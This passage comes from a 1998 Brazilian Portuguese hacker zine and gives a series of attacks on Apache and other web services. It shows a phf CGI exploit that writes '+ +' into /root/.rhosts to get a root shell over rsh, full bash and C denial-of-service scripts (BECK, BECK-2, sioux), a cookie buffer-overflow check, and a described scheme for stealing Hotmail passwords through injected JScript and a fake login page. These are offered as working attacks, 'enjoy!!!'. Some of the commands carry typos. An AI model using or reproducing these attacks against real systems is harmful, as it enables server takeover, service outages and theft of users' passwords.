tenho quase certeza que ele funciona em outros servidores. Bom, entao vamos ao ataque: Nos ja' constatamos que voce que somente poucos usuarios tem acesso ao user nobody, praticamente nenhum , ja' que o password dele e' invalido '*', entao somente o root poderia deshabilitar o '*' do password e se logar como nobody mesmo assim, o login dele e' no /dev/null o que dificulta um pouco o login!! Entao, nos teremos que executar algum programa que como o servidor apache, roda sobre a uid de user nobody. Vejamos, /usr/bin/rpc, lembram-se do phf bug? Entao, se voce puder exploitar um tipo de bug como aquele e executar programas sobre a uid do user nobody no caso, voce conseguiria root em poucos segundos. Entao vamos comecar o ataque, faca isto: shit:/>$ echo "+ +" > /tmp/.rhosts shit:/>$ echo "GET cgi-bin/phf?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhost+ /root/.rhosts" | nc -v - 20 shit.com.br 80 shit:/>$ rsh -l root shit.com.br "/bin/sh -i" Va' no /tmp do servidor e faca isto: %touch .rhosts %echo "+ +" >> /tmp/.rhosts %echo "GET cgi-bin/phf?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhosts+ /root/.rhosts" | nc -v - 20 shit.com.br 80 % rsh -l root shit.com.br 80 #whoami root # Bom, o que voce fez? Primeiro, criou um arquivo .rhosts no seu diretorio /tmp/.rhosts, depois o passou via email para dentro do /root/.rhosts, e em seguida, cria uma conexao confiavel com o host shit.com.br, depois executa o comando rsh , que permite o login sem senha via arquivos .rhosts, e se logou como root no sistema sem problemas!!! ESCLARECENDO: As duas primeiras linhas voce executa como um usuario qualquer.... A 3a. linha, voce executa como nobody ( ou o dono do processo do servidor ), a segunda linha voce executa como um usuario qualquer, e a duas ultimas voce ja' e' root no sistema shit.com.br. Tambem e' bom prestar atencao, que o ataque se origina sobre um exploit phf! Entao, se o servidor nao possuir phf, use o php, se este falhar, use outro, mas o meio de ataque deve ser rodar via browser! Outro modo de exploitar esta falha, e' bem simples: #!/bin/sh #Fazendo a vida mais facil para quem e' uma merda ;) end= #endereco que vai ser atacado!!! exp= #exploite que sera usado para o ataque. touch /tmp/.rhosts echo "+ +" > /tmp/.rhosts lynx http://$end/cgi-bin/$exp?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhost+ /root/.rhosts" | nc -v - 20 shit.com.br 80 rsh -l root $end #Mude o necessario para que tudo fique direito, mude o browser, rsh, por #rlogin... tanto faz.... Mas nao mude o source!!! Agora, faz tudo parte da diversao, execute este comandos e voila!!! Free apache server 4 ever.... O segundo bug: Ja' e' um bug mais sofisticado, que o outro, que depende muito da sorte de se encontrar um exploit via cgi como o phf, que hoje em dia esta em extinsao ( nao no pais dos olhinhos puxados, mas fazer o que, alguem tem que ser o burro na terra, Shimomura???? ) Este faz com que o servidro diminui tanto a sua velocidade de response que fica parecendo um PDP, na internet ( se existisse uma naquela epoca !heheh ;)) Entao vamos ao bug, quando alguma pessoa executa o apache, ele procura dentro do seu diretorio por arquivos do tipo: [index|homepage].[html|htm|shtml|cgi], entao se ele nao acha nenhum documento na sua extensao de diretorios inteira com tais especificacoes, entao ele retorna um erro assim: "File name too long", e o cliente recebe um "access forbidden", entao o que acontece, quando o apache encerra a tentativa de execucao dele, dando um dos erros acima, ele continua tentando achar um destes arquivos repetitiva mente, entao ele consome um bom tempo da CPU time, com um processo desnecessario, o que diminui ou quase aniquila a velocidade do apache! Um patche e' fazer com que qualquer processo no '//.....' possa ter um buffer maior possivel (7kb). Parte da execucao do bug se da por meio de um comando bem simples atribuido ao servidor GET e varias / seguidas de mais / ate' que cheguem ao um tamanho imenso de / o que ira travar o servidor!! O codigo para o ataque esta abaixo, enjoy!!! ---- #!/bin/bash echo echo "BECK -- Apache 1.2.x Denial of Sevices attack" echo "Author: Michal Zalewski" echo if [ "$1" == "" ]; then echo "USAGE: $0 victim_host [childs]" echo echo " victim_host - address of victim running Apache" echo " childs - no. of simultaneeous connections [30]" echo exit 0 fi CONN_LIMIT=30 if [ "$2" != "" ]; then CONN_LIMIT=$2 fi if [ ! -f beck.dat ]; then echo "ERROR: file 'beck.dat' must be placed in current dir." echo exit 0 fi echo "Attacking $1 (via $CONN_LIMIT connections) -- Ctrl+C to abort." echo "Their load average soon will climb higher heights." while [ -f $0 ]; do telnet $1 80 /dev/null & if [ "$CONN_LIMIT" -le "`ps|grep -c telnet`" ]; then echo -n "Connections limit reached - waiting... " while [ "$CONN_LIMIT" -le "`ps|grep -c "telnet $1"`" ]; do sleep 1 done echo "OK" fi done ---- E no .zip da zine, vem o arquivo get.dat lembre-se que estes devem estar no mesmo lugar que script esta /home/sucker/cputimeapache, /home/sucker/get.dat O terceiro bug: Para que este outro ataque DoS , seja feito e' necessario se obter uma conta no sistema ou entao nada de DoS!!! ( Sorry guys! ;) Bom, voce ira consumir um bom CPU time do servidor, voce devera ter uma conta e uma pagina naquele servidor!!! Agora, primeiro voce ira criar 100 subdiretorios, de nome x!! E todos os inputs para o subdir x, serao direcionados para o /dev/null! Entao, voce executara o script abaixo, e este ira executar o comando via telnet para entrar na porta 80 do servidor ( apache ), conectando-se com o limite de conexoes per- mitidas pelo apache, ele executa o arquivo .dat!!! E voila!! E' CPU time fudida para todo o lado!! Depois e' simples rode o scripts, abaixo e pronto, tudo feito.... ----[ Primeiro script ]---- #!/bin/sh echo echo "BECK-2 preprocessor by lcamtuf" echo "This program prepares battlefield..." echo "To undo please use 'cleanup' script." echo # Assume that user's homepage is into /home/httpd/html/USER... TARGET=/home/httpd/html/`whoami` echo -n "Going directly to your www home... " cd $TARGET &>/dev/null if [ "$PWD" != "$TARGET" ]; then echo "ERROR" exit 0 fi echo "OK" SUBDIR=x MAXDIRS=100 CREATED=0 echo -n "Creating $MAXDIRS subdirs... " HOME=$PWD while [ $MAXDIRS -ge $CREATED ]; do OLDDIR=$PWD mkdir $SUBDIR &>/dev/null cd $SUBDIR &>/dev/null if [ "$PWD" = "$OLDDIR" ]; then echo "ERROR" exit 0 fi let CREATED=CREATED+1 done echo "OK" ----[ Primeiro Script ]---- ----[ Segundo script ]---- #!/bin/bash echo echo "BECK 2 -- Apache Denial of Sevices attack (local)" echo "Author: Michal Zalewski" echo if [ "$2" = "" ]; then echo "USAGE: $0 victim_host account" echo echo " victim_host - address of victim running Apache" echo " account - www account on victim machine" echo echo "NOTE: attack will be effective only when" echo "account has been successfully altered with" echo "'make_hell' script." echo exit 0 fi LIMIT=30 if [ ! -f beck2.dat ]; then echo "ERROR: file 'beck2.dat' should be placed in current dir." echo exit 0 fi echo -n "Creating temporary file... " rm -f /tmp/beck2.tmp if [ -f /tmp/beck2.tmp ]; then echo "FAILED" exit 0 fi touch /tmp/beck2.tmp &>/dev/null if [ ! -f /tmp/beck2.tmp ]; then echo "FAILED" exit 0 fi echo "OK" echo -n "GET /$2" >/tmp/beck2.tmp cat beck2.dat >>/tmp/beck2.tmp echo "Attacking $1 (thru account $2, $LIMIT connections) -- Ctrl+Z to abort" echo "Their load average will soon climb higher heights." while [ -f $0 ]; do telnet $1 80 /dev/null & CONNECTED=`ps|grep -c "telnet $1"` if [ "$LIMIT" -le "$CONNECTED" ]; then echo -n "Connections limit reached - waiting... " while [ "$LIMIT" -le "$CONNECTED" ]; do sleep 1 done echo "OK" fi done ----[ Segundo script ]---- ----[ Terceiro script ]---- #!/bin/sh echo echo "BECK-2 cleanup by lcamtuf" echo "This program cleans up battlefield..." echo # Assume that user's homepage is into /home/httpd/html/USER... TARGET=/home/httpd/html/`whoami` echo -n "Going directly to your www home... " cd $TARGET &>/dev/null if [ "$PWD" != "$TARGET" ]; then echo "ERROR" exit 0 fi echo "OK" SUBDIR=x if [ -d $SUBDIR ]; then echo "Removing subdirectory $SUBDIR from ${PWD}." echo else echo "Naaah, nothing to do. Directory $SUBDIR not found." echo exit 0 fi HOME=$PWD echo -n "Going deeper and deeper... " while [ -d $SUBDIR ]; do OLDDIR=$PWD cd $SUBDIR &>/dev/null if [ "$PWD" = "$OLDDIR" ]; then echo "ERROR" exit 0 fi done echo "OK" echo -n "Enough, now removing everything... " while [ "$PWD" != "$HOME" ]; do OLDDIR=$PWD cd .. &>/dev/null rmdir $SUBDIR &>/dev/null if [ "$PWD" = "$OLDDIR" ]; then echo "ERROR" exit 0 fi done echo "OK" ----[ Terceiro script ]---- A ordem de execucao e' esta 1o. , 2o. e 3o. , nao mude-a senao nao funciona como deveria!!! O quarto bug: Este bug, implica sobre a versao mais antiga do apache, 1.1.1 rodando sobre o httpd da mesma versao.... Okay, entao a funcao make_cookie , no arquivo mod_cookies.c, tem um buffer de 100byte para o new-cookie gravar informacoes sobre o users que visitam o site. Este buffer grava informacoes como hostname, entre outros valores.... Ao longo da string apache= um numero!!! Veja o codigo: ... void make_cookie(request_rec *r) { struct timeval tv; char new_cookie[100]; /* blurgh */ char *dot; const char *rname = pstrdup(r->pool, get_remote_host(r->connection, r->per_dir_config,REMOTE_NAME)); struct timezone tz = { 0 , 0 }; if ((dot = strchr(rname,'.'))) *dot='\0'; /* 1o. bit do hostname*/ gettimeofday(&tv, &tz); sprintf(new_cookie,"%s%s%d%ld%d; path=/", COOKIE_NAME, rname, (int)getpid(), (long)tv.tv_sec, (int)tv.tv_usec/1000 ); table_set(r->headers_out,"Set-Cookie",new_cookie); return; } ... Perceba que todos os responses com Upper_case ( CAPSLOCK - fixa ), sao diminuidos ao lower_Case, no get_remote_host(), deixando um meio de buffer overflowzar o servidor!!! Para saber se o seu sistema e' vulneravel ou nao... apenas $ telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET / HTTP/1.0 HTTP/1.0 200 OK Date: Tue, 07 Jan 1997 18:59:31 GMT Server: Apache/1.1.1 Content-type: text/html Set-Cookie: Apache=localhost9185266357164; path=/ Se a versao o servidor for 1.1.1 entao voce e' vulneravel!! ----- O patche da apache, e' tao estupido que nem vou coloca-lo ----- aqui, pois quando eu o instalei na minha maquina, nao ----- segurou o ataque!!!! QUiNTO bug ( e ultimo da lista?!?!?! ) ------ --- - - ------ -- ----------- - Sumario: Vulnerabilidade encontrada nas verdoes 1.3.1 e menores, que permite um crash no servidor apache... O problema e' o tratamento dos headers enviados para eles. Compromentimento: Se nenhuma tecnica high-tech for usada depois do crash do browser, somente algumas diversoes para criancas que nao tem nada melhor para fazer. Obs: O consumo de memoria sob para 380Mb. Falha: Abaixo vai o exploit... ele abre diversas conexoes para TCP com o servidor, enviando os headers iguais. /*- * Copyright (c) 1998 Dag-Erling Coïdan Smørgrav * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer * in this position and unchanged. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software withough specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ /* * Kudos to Mark Huizer who originally suggested this on freebsd-current */ #include #include #include #include #include #include #include #include void usage(void) { fprintf(stderr, "usage: sioux [-a address] [-p port] [-n num]\n"); exit(1); } int main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; FILE *f; int o, sd; /* default parameters */ char *addr = "localhost"; int port = 80; int num = 1000; /* get options */ while ((o = getopt(argc, argv, "a:p:n:")) != EOF) switch (o) { case 'a': addr = optarg; break; case 'p': port = atoi(optarg); break; case 'n': num = atoi(optarg); break; default: usage(); } if (argc != optind) usage(); /* connect */ if ((he = gethostbyname(addr)) == NULL) { perror("gethostbyname"); exit(1); } bzero(&sin, sizeof(sin)); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family = he->h_addrtype; sin.sin_port = htons(port); if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); exit(1); } if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("connect"); exit(1); } if ((f = fdopen(sd, "r+")) == NULL) { perror("fdopen"); exit(1); } /* attack! */ fprintf(stderr, "Going down like a plague of locusts on %s\n", addr); fprintf(f, "GET / HTTP/1.1\r\n"); while (num-- && !ferror(f)) fprintf(f, "User-Agent: sioux\r\n"); if (ferror(f)) { perror("fprintf"); exit(1); } fclose(f); exit(0); } Medidas de seguranca: O patch foi liberado pelo Ben Lauren (1.3.1): diff -u -r1.229 http_protocol.c --- http_protocol.c 1998/08/06 17:30:30 1.229 +++ http_protocol.c 1998/08/07 23:02:56 @@ -714,6 +714,7 @@ int len; char *value; char field[MAX_STRING_LEN]; + int nheaders=0; @@ -723,6 +724,11 @@ char *copy = ap_palloc(r->pool, len + 1); memcpy(copy, field, len + 1); + if(++nheaders == 100) { + r->status = HTTP_BAD_REQUEST; + return; + } + if (!(value = strchr(copy, ':'))) { r->status = HTTP_BAD_REQUEST; return; -- Basicamente o bug esta dentro da linha 'memcpy(copy, field, len + 1);' que aloca na memoria. Devido a erros na hora de fazer o apache, a memoria nao e' limpa depois de usada, entao a cada loop a memoria fica cada vez maior. APACHE Web server bug!!!! by the blood root - 24/07/1998 reg - (c) blood@puruca.com.br ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 17 - Teste de vulnerabilidade em contas hotmail ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Hotmail, popular empresa fornecedora de emails gratis na internet, filiada a microsoft, recentemente apresentou falhas de seguranca no seu sistema, permitindo que pessoas possam obter passwords de praticamente todos os usuarios que diariamente se logam no gateway do hotmail. Tecnicamentre por meio de um email promissor, o hacker pode colocar comandos JScript, na mensagem com o fim de mudar os links originais do hotmail na web (hotmail.com???) Assim sera e' necessario que o usuario se logue novamente, e quando ele se logar o link e' redirecionado para uma pagina mirror hacker, que ira guardar as informacoes do login e passwords, digitados. O comprometimento e' total, implicando em abrir totalmente as pernas do hotmail, e' possivel se ler qualquer email da vitima, se logando por meio de um login e password ativo. O hotmail lancou algumas medidas preventivas: - Deshabilite a opcao de Java Script do seu browser - E qualquer erro durante a execucao da pagina do hotmail, nao acesse mais aquele email, crie outra conta... Basicamente o problema e' da hotmail, que nao instala filtros bons o suficientes para pararem qualquer grao de linguagem Java Script nas mensagens enviadas assim a execucao de comandos remotamente por meio de um email durante o gateway do hotmail e' algo tecnicamente e praticamente possivel e implica na total invalidez da seguranca do sistema HOTMAIL de emails gratis... Ao constrario de outros que tentam preservar as suas contas seguramente, nos agora publicamos o codigo tao temido do hotmail, e apenas um conselho seguro, - Coloque uma conta de mail descente... ;) --[ Codigo bugado ]--

"Where do you wanna crash???" - bill gates

--[ Codigo bugado ]-- Agora e' so mandar este codigo por email para algum usuario do hotmail, quando este verificar o seu email, babauw... Voce recebera na conta que mandou o email, o IP, login e e' claro o password da anta... bloodroot - blood@deathknights.com Teste de vulnerabilidade em contas hotmail reg - (c) 1998, productions. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 18 - Falhas em extensoes HTML .ASP... ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Sistemas ASP de extensoes HTML para servidores, sao alvos vulneraveis a ataques banais a procura de visualizar o codigo de uma pagina .asp de um servidor 'bugado', este podendo ser alvo de ataques com as informacoes contidas no codigo das paginas... O sistema Active Server Page, e' uma forma de se estruturar paginas como banco de dados e recursos do servidor, sem que seja necessario o conhecer a linguagem de scripting para este tipo de atividades na Web. Embora seja futil, e somente pagina com extrema funcionalidade posssam ser alvos deste ataque, sistemas de compras on-line baseados em .asp podem e serao invadidos tendo a visualizacao do codigo fonte das paginas revelado, podendo originar ataques a certos sistemas de protecao SSLeay, entre outros. Embora futil um sistema que tenha mesmo que uma inutil, esta pode ser usada de forma comprometedora... As vulnerabilidade implica em utilizar diretorios com o caractere '.' neles ex. www.p9.org/www.www/phucking.asp assim o diretorio www.www e' totalmente vulneravel assim como todas as suas paginas. Assim as paginas que possuem estes diretorios, estao 100% vulneraveis. Tecnicas de protecao: Bom, se voce ainda nao descobriu sozinho... E' apenas excluir o '.' dos diretorios, http://www.p9.org/wwwxwww/phucking.asp, assim o bug nao pode afetar as estruturas do servidor ASP. Nenhuma empresa de seguranca, ou de inseguracna (microsoft), se pronunciou com alguma medida eficais de prevencao ao bugs, portanto fica assim ate tio bill, vir com outra melhor... bloodroot - blood@deathknights.com Falhas em extensoes HTML .ASP... reg - (c) 1998, productions. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³19 - The Phone9 communications, departaments. ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Blood Root ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° .ph0ne9.sp0ts Agradecimentos: cacaio (deathknighter!!!), pessoal da BOS-br, Dr.sm0g microsoftz.com, Puruca, x1p, Phineas Phreak, Xzr2pt, .pr0c., bi0tek E a todo o pessoal que colaborou com a edicao zine. .linx www.ph0ne9.0rg www.freshmeat.net www.microsoftz.com www.hackers.com.br www.deathknights.com www.outzone.net www.puruca.com.br .akitivites Data da 3a. edicao: 01 de novembro'98 Data da 4a. edicao: 01 de janeiro'98 Data da 5a. edicao: 01 de marco'98 .inf0rmati0n Informacoes: info9@phone9.org Artigos: articles@phone9.org editor-chefe: blood@phone9.org - The Phone9 Communications Systems - ____ _ _ ___ _ __ ___ ____ ____ ___ _ _ _ ___ ___ / _ \/ /_/ / _ | '_ \ / _ \/ _ \ __ |__ |/ _ \| |/ /| '_ \ / _ \ / ____/ _ / / | | | | __/\__ //\_\ / /| __/| . | | | |/ / / \/ \/ \/\___/|_| |_|\___|__/ / \/_/ /_/ \___||_|\_\|_| |_|\___/ |_______/ _ _ _ ___ ______ _______ __ __ _ ___(_)_ _ ___ ____ _ ___ _ ___ | |/ // _ \ / .[P9] / | \ '_ \ | |/ / |__ \_) / _ \ '_ \ | ./ / / |_| \ |_| \ . / | | | | . - \ / / |/ / / | | | |_|\_\___/__| | /__| | /\___/|_| |_|_|_|\_\__,_//_/|_|\___/|_| |_| \/ \/ askii by bloodroot|bi0tek __ __ _ .Phone9. _ __ __ / /\ __ _ .tekno.k0n _ __ /\ \ \_\/__ _ [dr0ne] _ __\/_/ contact: [.blood@puruca.com.br.]|[.phone9@phone9.org] The Phone9 kommunications Systems, Inc